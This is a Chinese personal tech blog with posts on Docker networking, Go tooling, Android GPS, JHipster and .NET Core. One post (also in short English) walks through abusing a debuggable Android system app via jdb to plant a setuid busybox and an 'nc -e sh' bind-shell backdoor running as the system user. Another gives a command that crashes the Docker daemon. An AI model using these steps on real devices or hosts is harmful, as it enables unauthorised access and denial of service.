2016年7月26日星期二

在不重启动容器的情况下,允许从外部访问到容器内部的端口

有时启动了容器,花了好久才启动完成(例如有的db启动要花几分钟分析巨大数据文件),忽然想起来,忘了加-p port:port选项,无法从Docker主机外访问容器里的端口了。在不退出容器的情况下,找了几个方法。

目前的docker,还没有实现好热备份,一旦退出容器,即使commit到image里再启动那个image,也只不过省了文件状态恢复的时间,却不会省下db启动时分析巨大的数据文件所需的时间。
所以有必要,在不退出容器的情况下,设法让人通过访问Docker主机的某个port来访问到容器里面的某个port。目前有两个方法:
  • 在Docker主机里用iptables加个端口转发规则。
    sudo iptables -A PREROUTING -t nat -p tcp --dport Docker主机port -j DNAT --to 容器ip:容器port
    
  • 如果是在用VirtualBox里的docker-machine做Docker主机,那么还有一个方法是物理主机上加上个路由使得能够直接访问到容器的ip。
    sudo route -n add 容器ip/32 Docker主机ip
    
    这时Docker主机ip是指docker-machine ip default的结果。这样一来,可以直接访问容器ip:容器port了。

Go语言开发环境IntelliJ IDEA,可惜没有remote debug

想改点Docker的代码,全是用Go语言写的,所以转战Go语言。Google公司真是的,有一搭没一搭的,Go语言搞得不温不火,开发环境比起来算是初级阶段。

开发系统: Mac OS X 10.11.5 EI Capitan 开发工具:
  • 代码编写: IntelliJ IDEA (实际用了WebStorm。搞不好Android Studio都行)。
  • 编译测试运行调试: Docker Toolbox (Docker的真正的编译和测试环境是在一个特权容器里做的,好的。)
基本想法就是:在集成开发环境下写代码比较轻松,能够自动完补定位什么的,愈发检查通过了以后,再在特权容器里编译测试运行,甚至,通过IDEA远程调试,就是gdbserver那一套。
想得简单,实际做了一下,出了gdb remote以外都还行,但是也有些不爽的地方。
用IntelliJ IDEA打开docker源码目录,剩下来的他怎么提醒就怎么做。
随便一打开一个go文件,它就提醒安装golang插件。那就点击安装。

然后提示没有Go SDK,那就安装Go SDK到本机:

brew install golang
然后把SDK路径配制成 /usr/local/Cellar/go/1.6.3/libexec。 Go SDK setting

然后Go插件唧唧歪歪说缺少GOPATH环境变量。

这就是恶心的地方了,这还算好的了,以前还需要另一个GOROOT变量,经过进化,终于省掉了一个,可是还留着尾巴。别想这垃圾了,随便设定一个就行了。 垃圾的GOPATH
这个GOPATH其实相当于NodeJS的NPM管理包的node_modules目录。
Docker的编译环境里甚至用的是export GOPATH="$(mktemp -d)",临时目录。你说这东西能有什么名堂,干脆都这样搞算了,就像Xcode那样,每个Project见一个临时目录在外面,干干净净。
所以这东西压根就是多虑产生的废物,最简单的方法是在用户的环境变量里设定成~/go之类的(目录自己先建一下),再多虑的那就在Project设定里自己指定一个目录。

然后,就会发现源码里到处红色错误说import失败。

解决方法就是,IntelliJ一贯的作风:在错误的地方点一下,行头会漂浮出一个解决方案,哈,就是下载软件包,当然不用每个相同的错误都一个个点过去,而是执行漂浮菜单里的那个个“全部搞定”的命令。
一把搞定所有的import错误

最后还是有东西红色错误,说什么container.Container不存在。

Mac里没有的东西,只有linux/unix有,所以得把golang的编译器设定成linux。 Go交叉编译器设定 就改一点: Go交叉编译器OS设定

这下都安静了。

IntelliJ IDEA里的Go语言环境一瞥
这个IntelliJ IDEA虽然吃内存启动慢,但是机器好时都不是问题,很智能,写起代码很舒服。

Remote gdb呢?

没想到的是, IntelliJ IDEA虽然能轻松的调试本地的Go代码,但不能像Java那样远程调试到别的机器里的。
暂时也没找到远程gdb插件。还是手动gdb命令行搞算了。

看来Go语言的开发环境还处在初级阶段。

1.却少Java里类似于gradle之类的统一天下的自动加载package的机制。 2.却少remote debug,不利于调试容器中的东西。 3.垃圾环境变量GOPATH还没消除,至少搞成可选配置也好啊。要是没这强制要求估计自动package加载就好了,反正go get都有了。
总之让人上手就得折腾就不好。
不过golang本身不错,虽然丑陋但是把它想象成C语言的升级版就很觉得赚大了。


2016/07/27:想起IntelliJ IDEA还有一个分支是C/C++开发环境,叫做CLion,里面很可能有gdb remote debug功能,回头试试看。

2016年7月22日星期五

操作系统对应用的包围圈在逐渐缩小,VM->Container->Unikernel

一个有趣的趋势。

很多年前,还没有OS,各App都是裸奔。
后来造出了Unix等OS,于是多个App共享OS这个衣服。
后来零星的,出现了chroot之类的原始容器技术,给各App穿上了虚拟的衣服,但是很不堪使用。
后来出现了VMWare之类的虚拟机,于是多个App共享VM这个厚重的衣服。
后来各系统都在有意无意的完善VM,chroot,zone,Container等衣服。
iOS为各App都罩上了一层轻巧而且越来越结实的外套(chroot+MAC+...)。
Android为各App加上了一层疏松的外套(所以在不断用selinux等新招来补洞)。
最近三年来,Docker公司和一批有志者,把这件Container这种虚拟衣服做得愈来越轻巧结实。
在OS和VM里,很多个App一起磕磕碰碰,不能尽兴。 在Container里,App觉得自己充满力量,拥有整个世界,怎么折腾都行。 但在OS或者VM看来,Container是如来佛手里的孙悟空。
Unikernel这就近似于变态,includeOS令人震撼,一个App和OS编译成一个整体。OS这个衣服融合到App身体里去了。
哈哈哈。

2016年7月14日星期四

Android应用取不到GPS位置,一个意外的原因:minDistance必须大于0

在一个机子上可以的,换成一个倒霉的机种就死活取不到,是requestLocationUpdates的参数minDistance(触发通知的最小距离,米单位),指定为0就会导致这个问题,换成不为0的值,例如1就好了。

明明以前可以的,为什么换成这个机种就不行了呢?原开发者调查过了也不得其解。
我安装五个取位置的应用以包括三个open source的例子,都取不到位置,几个requestLocationUpdates API都试了,都不行。
但是Google Map可以取到位置,邪门了。
后来发现,有两个应用过了几十分钟后才取到取到位置,但是Google Map确随时可以取到最新位置。
最后发现,原来是调用LocationManager
requestLocationUpdates(long minTime, float minDistance,...
系列API时,有个参数minDistance,实际是触发通知的最小距离,米单位,如果指定为0,就会导致问题。换成不为0的值,例如1就好了。
文档里说的也不清楚,没看到说不能为0,网上也没看到有人说不能为0。

2016年7月13日星期三

Android Hack进行时: 取得了"system"用户,还需继续努力升格为root用户

钻了个debuggable的漏洞,取得了system用户,转而为如何升为root而操心。

Android 5.1.1, Linux 3.10.49
发现了一个原装的系统应用,居然可以被调试,反正出现在Android Studio的可调式进程清单里,看来是DEBUG版本就那样稀里糊涂的烧到主板里了。 先查查看用户身份:
pm dump com.example.app
里面能够看到用户身份是"system"。 本来一个run-as就可以转换成这个身份了的,
run-as com.example.app
但是报错说没有这个package,原因不明。好几个可以调试的app里,有的能够run-as,有的不行。
那就转向jdb的路子:
$ adb forward tcp:18600 jdwp:那个系统app的pid
$ jdb  -attach localhost:18600
> threads
group system:
  (java.lang.Thread)0x2a86 Signal Catcher        ...
  (java.lang.Thread)0x2a87 FinalizerWatchdogDaemon ...
  ... 
group main:
  (java.lang.Thread)0x2a8d main                   ...
  (java.lang.Thread)0x2a8e Binder_1               ...
  ...
> thread 0x2a8d
main[1] stepi
>  /*执行到这里后,打开手机动一下那个app触发调试器*/
stepi completed: "thread=main", android.os.MessageQueue.next()、row=145 bci=22
   /*然后再输入print new...命令运行一个脚本以便启动一个shell server侦听7777端口*/
main[1] > print new java.lang.Runtime().exec("sh /sdcard/qj.sh")
只是有几个/sdcard/...文件得事先传到手机上。 /sdcard/qj.sh:
date > /sdcard/log
cp -f /sdcard/busybox /data/ 2>> /sdcard/log || exit 1
chmod 4777 /data/busybox 2>> /sdcard/log || exit 1
(while true; do /data/busybox nc -l -p 7777 -e sh; done) >> /sdcard/log 2>&1 &
echo server OK >> /sdcard/log
/sdcard/busybox:
[从这里下载](http://busybox.net/downloads/binaries/latest), 一般选armv7就行了。
然后用nc连上7777端口就可以连上后门shell server,输入任何命令都会以system身份之行。
adb forward tcp:7777 tcp:7777
nc localhost 7777
可是搞到手后发现离root还差一点,不能够改写/system下的东西,也不能mount。能够改/data下的东西,也很有用,看看后面能不能找到方法升级成root。
id命令的结果:
uid=1000(system)
gid=1000(system)
groups=1000(system)
1007(log)
1010(wifi)
1015(sdcard_rw)
1021(gps)
1023(media_rw)
1028(sdcard_r)
3001(net_bt_admin)
3002(net_bt)
3003(inet)
3004(net_raw)
3005(net_admin)
3006(net_bw_stats)
3009(qcom_diag)
9997(everybody)
41000(u0_a31000)
context=u:r:system_app:s0

2016年7月12日星期二

hacking android-- got "system" user, then how to get root?

the result of command "id":

uid=1000(system)
gid=1000(system)
groups=1000(system)
1007(log)
1010(wifi)
1015(sdcard_rw)
1021(gps)
1023(media_rw)
1028(sdcard_r)
3001(net_bt_admin)
3002(net_bt)
3003(inet)
3004(net_raw)
3005(net_admin)
3006(net_bw_stats)
3009(qcom_diag)
9997(everybody)
41000(u0_a31000)
context=u:r:system_app:s0


continue study...

Any help will be appreciate.

试用了一下SpringBoot+AngularJS的工程生成器JHipster

https://jhipster.github.io/
做得很合心意,可惜只有英语说明,网站字体还奇奇怪怪,虽然名称是流行的意思,但实际还不太流行。


这东西的网站看得闹心,那圆体字我费死劲才搞清楚。 还有那布局,不符合意识流啊。索性只看了个QuickStart知道怎么安装后,就估摸着试了试。 没啥可说的:
npm install -g generator-jhipster
mkdir myApp && cd myApp
yo jhipster
试着生成了几种配合,居然都运行得好好的,没给我添麻烦,而且用IntelliJ IDEA打开后什么都没捣鼓,一跑测试代码也都通过了。
各种流行元素都加进来了。
前端,后端,都做了。不是一般的后端哦,人家连后台管理都一锅端了。
无比开心。
一个springboot的REST Web Service工程,里面加入了前端的HTML,JS之类的,想配什么自己选,其实做这个工具真不容易啊,得跟着各种东西屁股后面更新。
自然,在开发时,运行gulp就会启动一个前端小Web,监视HTML,JS,CSS之类的改动,而Browser访问这个前端Web,里面做的各种动作都是ajax(可以配制成Websocket),
哦,这些ajax目的地还是自己这个前端Web,他内部再转接给REST Web Service,连CORS跨域调用的配置也省了,不知道gulp什么时候进化成这样的。
后来想仔细了解这东西时,例如生成器的选项以及添加表之类的,发现从这里看比较好(各个帮助页真的没有好好串起来啊): https://jhipster.github.io/creating-an-app/
DB种类随便选,想生成什么表时之行命令就搞定,叫做Entity,同时把所关联的Java Model和JavaScript那边的都搞定。表里的各个字段可以加上check标记,就是Java标注,例如必须型,长度之类的。代码自动检查这些。
妙的是,还可以指定各个表之间的关联,具体的就没实验了,等真用时再说。
想生成一个新的服务也就一个命令。
佩服,真是急人之所急。让人忍不住自发的为他做广告。

2016年7月10日星期日

不小心一个命令触及到了Docker的底限了,他爆发了

在容器里执行 cat /proc/self/pagemap (也许别的文件也行, /proc/self/*肯定行) 就会引爆docker daemon。

真巧,我就想看看Docker容器里的/proc下的东西,cat了一下看看,居然把docker daemon给搞死了。
cat /proc/self/*
死了以后只有docker-machine restart default了。
后来总结了一下经验,发现非root身份都引发,什么image都行。
docker run -d -u 1000:1000 busybox cat /proc/self/pagemap
Docker for Mac也一样有这个毛病。
没时间研究这个,不知道内部的那个runC有没有这个毛病。 具体的错误信息太长,不贴了。
说到Docker的安全性,强烈推荐这个白皮书, 2016 Understanding Hardening Linux Containers

2016年7月7日星期四

Docker启动容器时的port公开方式,破除一些含糊的地方

在细看Docker的网络时推测,如果什么都port公开选项都不指定(包括Dockerfile里的EXPOSE),那么容器里侦听port的服务,也能够从Docker主机内或者其他容器里访问得到,结果的确如此,这和网上各路高手解说的不大一样啊。

以前就好奇docker run时的port公开方式-p 8080:8080和--expose(或者Dockerfile里的EXPOSE)的区别,
当时相信了stackoverflow上高手的回答Difference between "expose" and "publish" in docker - Stack Overflow,提到
如果什么都不指定,那么除了该容器自己,谁都不能访问那个port。
后来有一天细看Docker的网络的时候,觉得不应该是这样。从Docker主机之外的确不能访问,这点没有疑问,可是从Docker主机之内或者其他容器,其实能够访问,而且很合理。
Docker在主机上做了个docker0网卡172.17.0.1。又为每个容器创建了一个vethXxxx网卡。
网卡是有两头的,一头接外边,一头接容器,就像管道。
这个veth网卡,一头给了容器做eth0 172.17.0.N,另一头被默认地被加入到docker0网卡上,相当把所有的容器的网卡都插到一个hub上了,这就是互通的基础。
照这么说,在其中一个容器里侦听eth0的端口,那么主机和其他容器都应该能够访问到才对。

实验环境: Mac OS X EI Capitan 10.11.5
$ docker-machine -v
docker-machine version 0.8.0-rc1, build fffa6c9
$ docker -v
Docker version 1.12.0-rc3, build 91e29e8, experimental
启动一个容器,什么-p -P --expose都不指定。 就用busybox吧,很小。起了以后就是一个bash等在那儿。
$ docker run -it busybox
得到他的ip,一般第一个启动的就是172.17.0.2。
/ # ifconfig eth0 |grep 'inet addr:'
          inet addr:172.17.0.2  ...
在容器里执行一个netcat侦听端口7777。 一旦得到连接就发送date命令的结果给对方。
/ # nc -ll -p 7777 -e date
在别的容器里连接这个端口
$ docker run busybox nc 172.17.0.2 7777
Fri Jul  8 03:50:34 UTC 2016
能通!
在docker主机里连接这个端口
$ docker-machine ssh default nc 172.17.0.2 7777
Fri Jul  8 03:49:40 UTC 2016
自然也能通。
因为不是在Linux主机上,所以这里的docker主机实际值docker-machine这个boot2docker虚拟机。
这个现象应该不是因为实验版本导致的问题,就是这么设计的。
  • 如果什么都不指定,那么从Docker主机以及其他容器,都能访问那个port。
  • 当有时候忘了加-p端口映射选项就启动了容器做了一堆事儿之后,如果立刻想从Docker主机外访问的,可是却舍不得退出容器,那就还有补救机会。
    就在Docker主机里用iptables加个端口转发规则,(VirtualBox里也可以加一个端口映射让本地访问):
$ docker ssh default
docker@default:~$ sudo iptables -A PREROUTING -t nat -p tcp --dport 7777 -j DNAT --to 172.17.0.2:7777
或者在真正的Mac OS X上加个路由,允许经Docker主机(一般为192.168.99.100)访问到172.17.0.N
sudo route -n add 172.17.0.0/24 192.168.99.100

  • 而对于-p 7777:7777这样的用法,这是没有疑问的,的确就在Docker主机上被加了个端口转接的rule了,所以和从Docker主机之外能够访问这个端口了。
  • 剩下一个--expose 7777(或者Dockerfile里的EXPOSE 7777),实质没有什么用,也许是给发现服务用的。并没有对iptables做任何改变。
  • 直到-P(--publish-all)时才会被用到--expose里的端口信息。
  • 就是说, 只有既指定--expose 7777(或者Docerfile里的EXPOSE 7777)又指定-P(--publish-all)时,才会有实际动作。但这是把Docker主机上的随机端口映射给容器里的7777,所以一般不用。
例如,先做一个EXPOSE 7777端口的Docker image。
$ cat Dockerfile
FROM busybox
EXPOSE 7777
$ docker build -t busybox_expose_7777 - < Dockerfile
Sending build context to Docker daemon 2.048 kB
Step 1 : FROM busybox
 ---> 2b8fd9751c4c
Step 2 : EXPOSE 7777
 ---> Running in bddf30c42dcd
 ---> 2c92defacdd4
Removing intermediate container bddf30c42dcd
Successfully built 2c92defacdd4
然后运行时加上 --publish-all,
docker run -it --publish-all busybox_expose_7777
/ # nc -ll -p 7777 -e date
这时再看看到底Docker主机的哪个端口被映射到容器里的7777了。
docker ps
...
fca504f3bc49        busybox_expose_7777   "sh"  ... 0.0.0.0:32769->7777/tcp   nostalgic_galileo
就是这个32769端口了。那访问Docker主机的32769端口看看。
(Docker主机的ip一般是192.168.99.100(可以从DOCKER_HOST环境变量里看出来))
$ nc 192.168.99.100 32769
Fri Jul  8 11:14:08 UTC 2016
的确如此。
真真是聊胜于无的东西,难以置信谁会用这个。却搞得不好理解,文档也说的不明不白。

对于新型的,不用VirtualBoxDocker for Mac或者Docker for Windows,会怎么样呢?
结果:在其他容器里也是可以访问别的容器的端口的。在docker主机里就不知道了,因为进不去,不过应该是行的。
这两种都直接利用Mac/Windows自带的虚拟设备API(例如Hypervisor.framework)直接生成一个linux虚拟机作为docker主机,
而且它刻意淡化这个虚拟机的存在,我暂时找不到命令进入这个虚拟机,所以没做完这个实验,不过无所谓了,原理一样,应该是一样的结果。
顺便,这种新型工具,以xhyve虚拟机为基础,非常轻巧好用,连VirtualBox都不用装了,一切和以前一样的用法,除了docker-machine命令不起作用。

Windows Container技术的一些疑惑


随便看看是看不出解答的,都是冠冕堂皇的描述。

Windows Container还是不太好搞,目前看不到细节讨论,很不爽,暂时也没环境试验啊。
  • 就那一坨注册表,随便安装个什么东西都牵扯到他,势必得把注册表也做成AuFS那样的分层次的存储,以便共享主机原有的注册表存储。
  • 各种系统服务,注册表,windows目录下的东西很难精简,和任何一个小程序都牵扯太深,所以在Windows 2016 Server上想运行其他版本的Windwos的Container,估计不容易。
  • 系统API(主要是NTDLL里的那些),是否做了白盒子限制来避免容器爆破?
这些疑惑都没看到描述。
不过有大神Russinovich主导,应该能比别人做的更靠谱,期待中。
等哪天找个环境做些实验才能明白。

2016/07/09:后来发现有高手写了篇文章,印证了一些想法,Windwos的Container很臃肿!,真是固有的,无法改了。

2016年7月6日星期三

.NET Core 1.0学习(4)粗略看了一下ASP.NET Core MVC例子

目前感觉良好。顺便用了用Visual Studio Code,感觉也良好。

用上次改造的docker image,接着试试看ASP.NET Core MVC例子。偏重于环境,具体里面的代码的东西就没兴趣了。

启动.net core开发用的docker容器

用-v选项使容器和本机共享某个工作目录。
$ cd 某工作目录
$ docker run -it -v $PWD:$PWD -w $PWD -p 5000:5000 -h VLINUX osexp2000/dnetcore
-v $PWD:$PWD表示把当前目录映射到容器里同样的路径, -w $PWD表示容器里的工作目录设定在指定的当前路径。 -p 5000:5000表示把容器里的Docker Toolbox里的port 5000映射到容器里的5000,这是容器里Web Server侦听的端口。 --it表示交互式终端, 这样就可以从本机通过Docker Toolbox的Host-Only型网卡的地址来访问这个端口,也就是近一步通向容器里的WebServer了。 -h VLINUX无所谓,纯粹为了显示一个好看的主机名字,不然命令行提示符里的名字是随机id看不懂。
在Windows上时,这些命令从Docker Toolbox的命令行里执行,不然$PWD之类的东西不行。

用yeomen生成一个aspnet的模版工程

yeomon是个工程脚手架生成器,搞不好是从ruby on rails的那个生成器里受启发搞的。想不到这东西也能流行,真是 找准了需求,也好,省得东找西找。
$ dev_user@VLINUX:/Users/q/tmp/dnetcore_test$ yo aspnet
...然后就是菜单,时用上下键选择,然后就是一堆输出。
...Type选择Web Application,Web Application Name输入WebApp1。
? What type of application do you want to create? Web Application
? Which UI framework would you like to use? (Use arrow keys)
? Which UI framework would you like to use? Bootstrap (3.3.6)
? What's the name of your ASP.NET application? WebApp1
   create WebApp1/Dockerfile
   ...
   create WebApp1/appsettings.json
   ...
   create WebApp1/bundleconfig.json
   create WebApp1/Program.cs
   create WebApp1/project.json
   ...
   create WebApp1/Startup.cs
   create WebApp1/Controllers/AccountController.cs
   ...
   create WebApp1/Data/Migrations/00000000000000_CreateIdentitySchema.Designer.cs
   ...
   create WebApp1/Data/ApplicationDbContext.cs
   create WebApp1/Models/ApplicationUser.cs
   create WebApp1/Models/AccountViewModels/ExternalLoginConfirmationViewModel.cs
   ...
   ...
   create WebApp1/Properties/launchSettings.json
   create WebApp1/Services/IEmailSender.cs
   ...
   create WebApp1/Views/_ViewImports.cshtml
   ...
   create WebApp1/Views/Account/ConfirmEmail.cshtml
   ...
   create WebApp1/Views/Shared/_Layout.cshtml
   ...
   create WebApp1/wwwroot/css/site.css
   ...
   create WebApp1/wwwroot/js/site.js
   ...
   create WebApp1/web.config


I'm all done. Running bower install for you to install the required dependencies. If this fails, try running the command yourself.


bower bootstrap#3.3.6       not-cached https://github.com/twbs/bootstrap.git#3.3.6
...
还好吧。Controller什么的,翻了一下代码很符合想象,和SpringBoot差不多的感觉。不过旧的ASP.NET MVC没用过,这个cshtml在Xamarin里看过,就是一文字列替换模版。 (觉得连server端的MVC都不需要了,后端前端完全分开,后端就提供一个REST Web Service给前端html那边的ajax之类的调用就行了,工程都不需要放在一起)。
咋地都行吧,我只想看看用它做个REST Web Service好不好用就行了。

安装工程关联库

相当于npm install了。
dev_user@VLINUX:/Users/q/tmp/dnetcore_test$ cd WebApp1/
dev_user@VLINUX:/Users/q/tmp/dnetcore_test/WebApp1$ dotnet restore
log  : Restoring packages for /Users/q/tmp/dnetcore_test/WebApp1/project.json...
...
log  : Installing NuGet.Configuration 3.5.0-beta2-1484.
...
log  : Installing Microsoft.VisualStudio.Web.CodeGeneration.Utils 1.0.0-preview2-final.
...
log  : Installing System.IO.Pipes 4.0.0.
...
log  : Installing Microsoft.AspNetCore.Routing.Abstractions 1.0.0.
...
log  : Installing Microsoft.AspNetCore.Server.IISIntegration 1.0.0.
...
log  : Installing Microsoft.AspNetCore.Server.Kestrel 1.0.0.
...
log  : Installing Microsoft.AspNetCore.Mvc 1.0.0.
...
log  : Installing Microsoft.EntityFrameworkCore.Tools 1.0.0-preview2-final.
...
log  : Installing Newtonsoft.Json 6.0.4.
...
log  : Installing Microsoft.Extensions.PlatformAbstractions 1.0.0.
...
log  : Installing Microsoft.AspNetCore.Hosting.Abstractions 1.0.0.
...
log  : Installing Microsoft.AspNetCore.Http 1.0.0.
...
log  : Installing SQLite.Native 3.12.2.
...
log  : Installing Microsoft.AspNetCore.Mvc.Razor 1.0.0.    
...
log  : Installing Microsoft.Extensions.Caching.Memory 1.0.0.
...
log  : Installing Microsoft.Data.Sqlite 1.0.0.
...
log  : Installing Microsoft.AspNetCore.Hosting.Server.Abstractions 1.0.0.
...
log  : Installing System.Interactive.Async 3.0.0.
...
log  : Installing System.Net.WebSockets 4.0.0.
...
log  : Restore completed in 34276ms.
随便看了一些log,有一些是.NET Framework 4.6里就有的东西,例如System.Net.WebSockets。 频繁的和Newtonsoft,Razor等怪名字的东西相关,不知道JSON这么那个的东西居然用Newtonsoft.JSON。Razor这东西似乎是cshtml那个。 还看到有IISIntegration,后来翻了其他的设定文件,的确有发布到IIS里的设定。

运行这个Server App

要加个参数"--server.urls" "http://0.0.0.0:5000",不然只侦听容器里localhost的端口。 这个在dotnet的命令行帮助里可没提到。另外估计某个设定里也应该能改吧。
dev_user@VLINUX:/Users/q/tmp/dnetcore_test/WebApp1$ dotnet run "--server.urls" "http://0.0.0.0:5000"
...
Bundling with configuration from /Users/q/tmp/dnetcore_test/WebApp1/bundleconfig.json
...
Compilation succeeded.
...
info: Microsoft.Extensions.DependencyInjection.DataProtectionServices[0]
      User profile is available. Using '/home/dev_user/.aspnet/DataProtection-Keys' as key repository; keys will not be encrypted at rest.
Hosting environment: Production
Content root path: /Users/q/tmp/dnetcore_test/WebApp1
Now listening on: http://0.0.0.0:5000
Application started. Press Ctrl+C to shut down.
info: Microsoft.AspNetCore.Server.Kestrel[17]
      Connection id "0HKT4OLD2I8PN" bad request data: "Malformed request: MethodIncomplete"
Microsoft.AspNetCore.Server.Kestrel.BadHttpRequestException: Malformed request: MethodIncomplete
info: Microsoft.AspNetCore.Server.Kestrel[17]
      Connection id "0HKT4OLD2I8PO" bad request data: "Malformed request: MethodIncomplete"
Microsoft.AspNetCore.Server.Kestrel.BadHttpRequestException: Malformed request: MethodIncomplete
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[1]
      Request starting HTTP/1.1 GET http://192.168.99.100:5000/  
info: Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker[1]
      Executing action method WebApp1.Controllers.HomeController.Index (WebApp1) with arguments () - ModelState is Valid
info: Microsoft.AspNetCore.Mvc.ViewFeatures.Internal.ViewResultExecutor[1]
      Executing ViewResult, running view at path /Views/Home/Index.cshtml.
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[1]
      Request starting HTTP/1.1 GET http://192.168.99.100:5000/css/site.min.css?v=G7OG5flN0NdPJ13sNYOv3Hwkc-gAxRfBTYgtu6Sl0yk  
info: Microsoft.AspNetCore.Mvc.Internal.ControllerActionInvoker[2]
      Executed action WebApp1.Controllers.HomeController.Index (WebApp1) in 3307.3594ms
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[2]
      Request finished in 3645.0716ms 200 text/html; charset=utf-8
info: Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware[2]
      Sending file. Request path: '/css/site.min.css'. Physical path: '/Users/q/tmp/dnetcore_test/WebApp1/wwwroot/css/site.min.css'
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[1]
      Request starting HTTP/1.1 GET http://192.168.99.100:5000/images/banner2.svg  
...
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[1]
      Request starting HTTP/1.1 GET http://192.168.99.100:5000/js/site.min.js?v=4YtIaePNzexGu4QQcABZ3hmCTZ5PpZ6UoIpVvTVV2ww  
info: Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware[2]
      Sending file. Request path: '/images/banner2.svg'. Physical path: '/Users/q/tmp/dnetcore_test/WebApp1/wwwroot/images/banner2.svg'
...
info: Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware[2]
      Sending file. Request path: '/images/banner3.svg'. Physical path: '/Users/q/tmp/dnetcore_test/WebApp1/wwwroot/images/banner3.svg'
...
从log就可以看到这个Web Server,似乎已经做到了一定程度的load balance了,就是WebHost[1],[2]的。因为libuv的异步事件驱动循环型程序,基本只用一个线程(否则就不需要这事件循环了),所以做成多份(进程或者线程,具体看怎么做了),进行接续级别或者http级别的load blance是应该的。 这还差不多,我心里少了一个不放心之处。

在浏览器里看看

用本机的浏览器看http://192.168.99.100:5000就是画面了。 还用curl瞎试了试,能够检测出Malformed request,好的。
输入图片说明
至于这个192.168.99.100就是用DOCKER_HOST环境变量里记的那个ip,一般就是这个,要不就是101。用Docker for Mac或者Docker for Windows的就用localhost就行了。

Visual Stido Code初见

可是就这样在docker容器里捣鼓也不是个事儿,不方便编码,调试。
就在本机安装了Visual Studio Code,又安装C# extension。 用Visual Studio Code打开工作目录,感觉不错,Controller里的代码也很漂亮,Java所没有的async/await方式很简洁,好。 Visual Studio Code还没怎么用,下次在看看。

据说是用Github Atom Editor使用的ELECTRON框架(Chrome+NodeJS)做的,而这东西又是受一个国人高手写的Node-WebKit启发的,Atom Shell vs Node-Webkit - 牛角堂。这个Atom的ELECTRON框架自然也是跨平台的,成了跨平台界面开发的新宠。